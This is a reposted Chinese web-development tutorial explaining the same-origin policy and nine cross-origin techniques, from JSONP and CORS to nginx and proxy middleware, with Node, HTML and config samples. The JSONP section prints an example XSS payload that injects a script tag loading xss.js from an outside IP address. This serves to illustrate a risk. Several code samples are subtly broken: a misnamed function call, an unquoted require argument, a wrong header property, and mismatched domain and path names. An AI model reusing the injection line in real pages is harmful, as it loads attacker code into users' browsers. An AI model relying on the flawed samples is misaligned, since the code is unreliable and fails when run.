1. 程式人生 > >九種 “姿勢” 讓你徹底解決跨域問題

九種 “姿勢” 讓你徹底解決跨域問題

轉載自:https://segmentfault.com/a/1190000016653873

 

同源策略

同源策略/SOP(Same origin policy)是一種約定,由 Netscape 公司 1995 年引入瀏覽器,它是瀏覽器最核心也最基本的安全功能,如果缺少了同源策略,瀏覽器很容易受到 XSS、CSRF 等攻擊。所謂同源是指 "協議 + 域名 + 埠" 三者相同,即便兩個不同的域名指向同一個 ip 地址,也非同源。

什麼是跨域?

當協議、域名、埠號,有一個或多個不同時,有希望可以訪問並獲取資料的現象稱為跨域訪問,同源策略限制下 cookielocalStoragedom

ajaxIndexDB 都是不支援跨域的。

假設 cookie 支援了跨域,http 協議無狀態,當用戶訪問了一個銀行網站登入後,銀行網站的伺服器給返回了一個 sessionId,當通過當前瀏覽器再訪問一個惡意網站,如果 cookie 支援跨域,惡意網站將獲取 sessionId 並訪問銀行網站,出現安全性問題;IndexDB、localStorage 等資料儲存在不同域的頁面切換時是獲取不到的;假設 dom 元素可以跨域,在自己的頁面寫入一個 iframe 內部嵌入的地址是 www.baidu.com,當在百度頁面登入賬號密碼時就可以在自己的頁面獲取百度的資料資訊,這顯然是不合理的。

這就是為什麼 cookielocalStoragedomajaxIndexDB 會受到同源策略會限制,下面還有一點對跨域理解的誤區:

誤區:同源策略限制下,訪問不到後臺伺服器的資料,或訪問到後臺伺服器的資料後沒有返回;
正確:同源策略限制下,可以訪問到後臺伺服器的資料,後臺伺服器會正常返回資料,而被瀏覽器給攔截了。

實現跨域的方式

一、使用 jsonp 跨域

使用場景:當自己的專案前端資源和後端部署在不同的伺服器地址上,或者其他的公司需要訪問自己對外公開的介面,需要實現跨域獲取資料,如百度搜索。

// 封裝 jsonp 跨域請求的方法
function jsonp({ url, params, cb }) {
    return new Promise((resolve, reject) => {
        // 建立一個 script 標籤幫助我們傳送請求
        let script = document.createElement("script");
        let arr = [];
        params = { ...params, cb };

        // 迴圈構建鍵值對形式的引數
        for (let key in params) {
            arr.push(`${key}=${params[key]}`);
        }

        // 建立全域性函式
        window[cb] = function(data) {
            resolve(data);
            // 在跨域拿到資料以後將 script 標籤銷燬
            document.body.removeChild(script);
        };

        // 拼接傳送請求的引數並賦值到 src 屬性
        script.src = `${url}?${arr.join("&")}`;
        document.body.appendChild(script);
    });
}

// 呼叫方法跨域請求百度搜索的介面
json({
    url: "https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su",
    params: {
        wd: "jsonp"
    },
    cb: "show"
}).then(data => {
    // 列印請求回的資料
    console.log(data);
});

缺點:

  • 只能傳送 get 請求 不支援 post、put、delete;
  • 不安全,容易引發 xss 攻擊,別人在返回的結果中返回了下面程式碼。
`let script = document.createElement('script');
script.src = "http://192.168.0.57:8080/xss.js";
document.body.appendChild(script);`;

會把別人的指令碼引入到自己的頁面中執行,如:彈窗、廣告等,甚至更危險的指令碼程式。

二、使用 CORS 跨域

跨源資源共享/CORS(Cross-Origin Resource Sharing)是 W3C 的一個工作草案,定義了在必須訪問跨源資源時,瀏覽器與伺服器應該如何溝通。CORS 背後的基本思想,就是使用自定義的 HTTP 頭部讓瀏覽器與伺服器進行溝通,從而決定請求或響應是應該成功,還是應該失敗。

使用場景:多用於開發時,前端與後臺在不同的 ip 地址下進行資料訪問。

現在啟動兩個埠號不同的伺服器,建立跨域條件,伺服器(NodeJS)程式碼如下:

// 伺服器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 伺服器2
const express = require("express");
let app = express();
app.get("/getDate", function(req, res) {
    res.end("I love you");
});
app.use(express.static(__dirname));
app.listen(4000);

由於我們的 NodeJS 伺服器使用 express 框架,在我們的專案根目錄下的命令列中輸入下面程式碼進行安裝:

npm install express --save

通過訪問 http://localhost:3000/index.html 獲取 index.html 檔案並執行其中的 Ajax 請求 http://localhost:4000/getDate 介面去獲取資料,index.html 檔案內容如下:

<!-- 檔案:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CORS 跨域</title>
</head>
<body>
    <script>
        let xhr = new XMLHttpRequest();

        // 正常 cookie 是不允許跨域的
        document.cookie = 'name=hello';

        // cookie 想要實現跨域必須攜帶憑證
        xhr.withCredentials = true;

        // xhr.open('GET', 'http://localhost:4000/getDate', true);
        xhr.open('PUT', 'http://localhost:4000/getDate', true);

        // 設定名為 name 的自定義請求頭
        xhr.setRequestHeader('name', 'hello');

        xhr.onreadystatechange = function () {
            if(xhr.readyState === 4) {
                if(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) {
                    // 列印返回的資料
                    console.log(xhr.response);

                    // 列印後臺設定的自定義頭資訊
                    console.log(xhr.getResponseHeader('name'));
                }
            }
        }
        xhr.send();
    </script>
</body>
</html>

上面 index.html 程式碼中傳送請求訪問不在同源的伺服器 2,此時會在控制檯給出錯誤資訊,告訴我們缺少了哪些響應頭,我們對應報錯資訊去修改訪問的伺服器 2 的程式碼,新增對應的響應頭,實現 CORS 跨域。

// 伺服器2
const express = require("express");
let app = express();

// 允許訪問域的白名單
let whiteList = ["http://localhost:3000"];

app.use(function(req, res, next) {
    let origin = req.header.origin;
    if (whiteList.includes(origin)) {
        // 設定那個源可以訪問我,引數為 * 時,允許任何人訪問,但是不可以和 cookie 憑證的響應頭共同使用
        res.setHeader("Access-Control-Allow-Origin", origin);
        // 想要獲取 ajax 的頭資訊,需設定響應頭
        res.setHeader("Access-Control-Allow-Headers", "name");
        // 處理複雜請求的頭
        res.setHeader("Access-Control-Allow-Methods", "PUT");
        // 允許傳送 cookie 憑證的響應頭
        res.setHeader("Access-Control-Allow-Credentials", true);
        // 允許前端獲取哪個頭資訊
        res.setHeader("Access-Control-Expose-Headers", "name");
        // 處理 OPTIONS 預檢的存活時間,單位 s
        res.setHeader("Access-Control-Max-Age", 5);
        // 傳送 PUT 請求會做一個試探性的請求 OPTIONS,其實是請求了兩次,當接收的請求為 OPTIONS 時不做任何處理
        if (req.method === "OPTIONS") {
            res.end();
        }
    }
    next();
});

app.put("/getDate", function(req, res) {
    // res.setHeader('name', 'nihao'); // 設定自定義響應頭資訊
    res.end("I love you");
});

app.get("/getDate", function(req, res) {
    res.end("I love you");
});

app.use(express.static(__dirname));
app.listen(4000);

三、使用 postMessage 實現跨域

postMessage 是 H5 的新 API,跨文件訊息傳送(cross-document messaging),有時候簡稱為 XMD,指的是在來自不同域的頁面間傳遞訊息。

呼叫方式:window.postMessage(message, targetOrigin)

  • message:傳送的資料
  • targetOrigin:傳送的視窗的域

在對應的頁面中用 message 事件接收,事件物件中有 dataoriginsource 三個重要資訊

  • data:接收到的資料
  • origin:接收到資料來源的域(資料來自哪個域)
  • source:接收到資料來源的視窗物件(資料來自哪個視窗物件)

使用場景:不是使用 Ajax 的資料通訊,更多是在兩個頁面之間的通訊,在 A 頁面中引入 B 頁面,在 AB 兩個頁面之間通訊。

與上面 CORS 類似,我們要建立跨域場景,搭建兩個埠號不同的 Nodejs 伺服器,後面相同方式就不多贅述了。

// 伺服器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 伺服器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);

通過訪問 http://localhost:3000/a.html,在 a.html 中使用 iframe 標籤引入 http://localhost:4000/b.html,在兩個視窗間傳遞資料。

<!-- 檔案:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>頁面 A</title>
</head>
<body>
    <iframe src="http://localhost:4000/b.html" id="frame" onload="load()"></iframe>
    <script>
        function load() {
            let frame = document.getElementById('frame');
            frame.contentWindow.postMessage('I love you', 'http://localhost:4000');
            window.onmessage = function (e) {
                console.log(e.data);
            }
        }
    </script>
</body>
</html>
<!-- 檔案:b.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>頁面 B</title>
</head>
<body>
    <script>
        window.onmessage = function (e) {
            // 列印來自頁面 A 的訊息
            console.log(e.data);
            // 給頁面 A 傳送回執
            e.source.postMessage('I love you, too', e.origin);
        }
    </script>
</body>
</html>

四、使用 window.name 實現跨域

同樣是頁面之間的通訊,需要藉助 iframe 標籤,A 頁面和 B 頁面是同域的 http://localhost:3000,C 頁面在獨立的域 http://localhost:4000。

// 伺服器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 伺服器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);

實現思路:在 A 頁面中將 iframesrc 指向 C 頁面,在 C 頁面中將屬性值存入 window.name 中,再把 iframesrc 換成同域的 B 頁面,在當前的 iframewindow 物件中取出 name 的值,訪問 http://localhost:3000/a.html。

<!-- 檔案:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>頁面 A</title>
</head>
<body>
    <iframe src="http://localhost:4000/c.html" id="frame" onload="load()"></iframe>
    <script>
        // 增加一個標識,第一次觸發 load 時更改地址,更改後再次觸發直接取值
        let isFirst = true;
        function load() {
            let frame = document.getElementById('frame');
            if(isFirst) {
                frame.src = 'http://localhost:3000/b.html';
                isFirst = false;
            } else {
                console.log(frame.contentWindow.name);
            }
        }
    </script>
</body>
</html>
<!-- 檔案:c.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>頁面 C</title>
</head>
<body>
    <script>
        window.name = 'I love you';
    </script>
</body>
</html>

<br/>

五、使用 location.hash 實現跨域

window.name 跨域的情況相同,是不同域的頁面間的引數傳遞,需要藉助 iframe 標籤,A 頁面和 B 頁面是同域的 http://localhost:3000,C 頁面是獨立的域 http://localhost:4000。

// 伺服器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 伺服器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);

實現思路:A 頁面通過 iframe 引入 C 頁面,並給 C 頁面傳一個 hash 值,C 頁面收到 hash 值後建立 iframe 引入 B 頁面,把 hash 值傳給 B 頁面,B 頁面將自己的 hash 值放在 A 頁面的 hash 值中,訪問 http://localhost:3000/a.html。

<!-- 檔案:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>頁面 A</title>
</head>
<body>
    <iframe src="http://localhost:4000/c.html#Iloveyou" id="frame"></iframe>
    <script>
        // 使用 hashchange 事件接收來自 B 頁面設定給 A 頁面的 hash 值
        window.onhashchange = function () {
            console.log(location.hash);
        }
    </script>
</body>
</html>
<!-- 檔案:c.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>頁面 C</title>
</head>
<body>
    <script>
        // 列印 A 頁面引入 C 頁面設定的 hash 值
        console.log(location.hash);
        let iframe = document.createElement('iframe');
        iframe.src = 'http://localhost:3000/b.html#Iloveyoutoo';
        document.body.appendChild(iframe);
    </script>
</body>
</html>
<!-- 檔案:b.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>頁面 B</title>
</head>
<body>
    <script>
        // 將 C 頁面引入 B 頁面設定的 hash 值設定給 A頁面
        window.parent.parent.location.hash = location.hash;
    </script>
</body>
</html>

<br/>

六、使用 document.domain 實現跨域

使用場景:不是萬能的跨域方式,大多使用於同一公司不同產品間獲取資料,必須是一級域名和二級域名的關係,如 www.baidu.comvideo.baidu.com 之間。

const express = require("express");
let app = express();

app.use(express.static(__dirname));
app.listen(3000);

想要模擬使用 document.domain 跨域的場景需要做些小小的準備,到 C:WindowsSystem32driversetc 該路徑下找到 hosts 檔案,在最下面建立一個一級域名和一個二級域名。

127.0.0.1          www.domainacross.com
127.0.0.1          sub.domainacross.com

命名是隨意的,只要是符合一級域名與 二級域名的關係即可,然後訪問 http://www.domainacross.com:3000/a.html。

<!-- 檔案:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>頁面 A</title>
</head>
<body>
    <p>我是頁面 A 的內容</p>
    <iframe src="http://sucess.domainacross.com:3000/b.html" onload="load()" id="frame"></iframe>
    <script>
        document.domain = 'domainacross.com';
        function load() {
            console.log(frame.contentWindow.message);
        }
    </script>
</body>
</html>
<!-- 檔案:b.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>頁面 B</title>
</head>
<body>
    <p>我是 B 頁面的內容</p>
    <script>
        document.domain = 'domainacross.com';
        var message = 'Hello A';
    </script>
</body>
</html>

七、使用 WebSocket 實現跨域

WebSocket 沒有跨域限制,高階 API(不相容),想要相容低版本瀏覽器,可以使用 socket.io 的庫,WebSocket 與 HTTP 內部都是基於 TCP 協議,區別在於 HTTP 是單向的(單雙工),WebSocket 是雙向的(全雙工),協議是 ws://wss:// 對應 http://https://,因為沒有跨域限制,所以使用 file:// 協議也可以進行通訊。

由於我們在 NodeJS 服務中使用了 WebSocket,所以需要安裝對應的依賴:

npm install ws --save
<!-- 檔案:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>頁面</title>
</head>
<body>
    <script>
        // 建立 webSocket
        let socket = new WebSocket('ws://localhost:3000');
        // 連線上觸發
        socket.onopen = function () {
            socket.send('I love you');
        }
        // 收到訊息觸發
        socket.onmessage = function (e) {
            // 列印收到的資料
            console.log(e.data); // I love you, too
        }
    </script>
</body>
</html>
const express = require("express");
let app = express();

// 引入 webSocket
const WebSocket = require("ws");
// 建立連線,埠號與前端相對應
let wss = new WebSocket.Server({ port: 3000 });

// 監聽連線
wss.on("connection", function(ws) {
    // 監聽訊息
    ws.on("message", function(data) {
        // 列印訊息
        console.log(data); // I love you
        // 傳送訊息
        ws.send("I love you, too");
    });
});

八、使用 nginx 實現跨域

nginx 本身就是一個伺服器,因此我們需要去 nginx 官網下載服務環境 http://nginx.org/en/download....

  • 下載後解壓到一個資料夾中
  • 雙擊 nginx.exe 啟動(此時可以通過 http://localhost 訪問 nginx 服務)
  • 在目錄新建 json 資料夾
  • 進入 json 資料夾新建 data.json 檔案並寫入內容
  • 回到 nginx 根目錄進入 conf 資料夾
  • 使用編輯器開啟 nginx.conf 進行配置

data.json 檔案:

{
    "name": "nginx"
}

nginx.conf 檔案:

server {
    .
    .
    .
    location ~.*\.json {
        root json;
        add_header "Access-Control-Allow-Origin" "*";
    }
    .
    .
    .
}

含義:

  • ~.*\.json:代表忽略大小寫,字尾名為 json 的檔案;
  • root json:代表 json 資料夾;
  • add_header:代表加入跨域的響應頭及允許訪問的域,* 為允許任何訪問。

nginx 根目錄啟動 cmd 命令列(windows 系統必須使用 cmd 命令列)執行下面程式碼重啟 nginx

nginx -s reload

不跨域訪問:http://localhost/data.json

跨域訪問時需要建立跨域條件程式碼如下:

// 伺服器
const express = require("express");
let app = express();

app.use(express.static(__dirname));
app.listen(3000);

跨域訪問:http://localhost:3000/index.html

<!-- 檔案:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>nginx跨域</title>
</head>
<body>
    <script>
        let xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://localhost/data.json', true);
        xhr.onreadystatechange = function () {
            if(xhr.readyState === 4) {
                if(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) {
                    console.log(xhr.response);
                }
            }
        }
        xhr.send();
    </script>
</body>
</html>

<br/>

九、使用 http-proxy-middleware 實現跨域

NodeJS 中介軟體 http-proxy-middleware 實現跨域代理,原理大致與 nginx 相同,都是通過啟一個代理伺服器,實現資料的轉發,也可以通過設定 cookieDomainRewrite 引數修改響應頭中 cookie 中的域名,實現當前域的 cookie 寫入,方便介面登入認證。

1、非 vue 框架的跨域(2 次跨域)

<!-- 檔案:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>proxy 跨域</title>
</head>
<body>
    <script>
        var xhr = new XMLHttpRequest();

        // 前端開關:瀏覽器是否讀寫 cookie
        xhr.withCredentials = true;

        // 訪問 http-proxy-middleware 代理伺服器
        xhr.open('get', 'http://www.proxy1.com:3000/login?user=admin', true);
        xhr.send();
    </script>
</body>
</html>

中間代理服務中使用了 http-proxy-middleware 中介軟體,因此需要提前下載:

npm install http-proxy-middleware --save-dev
// 中間代理伺服器
const express = require("express");
let proxy = require("http-proxy-middleware");
let app = express();

app.use(
    "/",
    proxy({
        // 代理跨域目標介面
        target: "http://www.proxy2.com:8080",
        changeOrigin: true,

        // 修改響應頭資訊,實現跨域並允許帶 cookie
        onProxyRes: function(proxyRes, req, res) {
            res.header("Access-Control-Allow-Origin", "http://www.proxy1.com");
            res.header("Access-Control-Allow-Credentials", "true");
        },

        // 修改響應資訊中的 cookie 域名
        cookieDomainRewrite: "www.proxy1.com" // 可以為 false,表示不修改
    })
);

app.listen(3000);
// 伺服器
const http = require("http");
const qs = require("querystring");

const server = http.createServer();

server.on("request", function(req, res) {
    let params = qs.parse(req.url.substring(2));

    // 向前臺寫 cookie
    res.writeHead(200, {
        "Set-Cookie": "l=a123456;Path=/;Domain=www.proxy2.com;HttpOnly" // HttpOnly:指令碼無法讀取
    });

    res.write(JSON.stringify(params));
    res.end();
});

server.listen("8080");

2、vue 框架的跨域(1 次跨域)

利用 node + webpack + webpack-dev-server 代理介面跨域。在開發環境下,由於 Vue 渲染服務和介面代理服務都是 webpack-dev-server,所以頁面與代理介面之間不再跨域,無須設定 Headers 跨域資訊了。

// 匯出伺服器配置
module.exports = {
    entry: {},
    module: {},
    ...
    devServer: {
        historyApiFallback: true,
        proxy: [{
            context: '/login',
            target: 'http://www.proxy2.com:8080',  // 代理跨域目標介面
            changeOrigin: true,
            secure: false,  // 當代理某些 https 服務報錯時用
            cookieDomainRewrite: 'www.domain1.com'  // 可以為 false,表示不修改
        }],
        noInfo: true
    }
}

本篇文章在於幫助我們理解跨域,以及不同跨域方式的基本原理,在公司的專案比較多,多個域使用同一個伺服器或者資料,以及在開發環境時,跨域的情況基本無法避免,一般會有各種各樣形式的跨域解決方案,但其根本原理基本都在上面的跨域方式當中方式,我們可以根據開發場景不同,選擇最合適的跨域解決方案。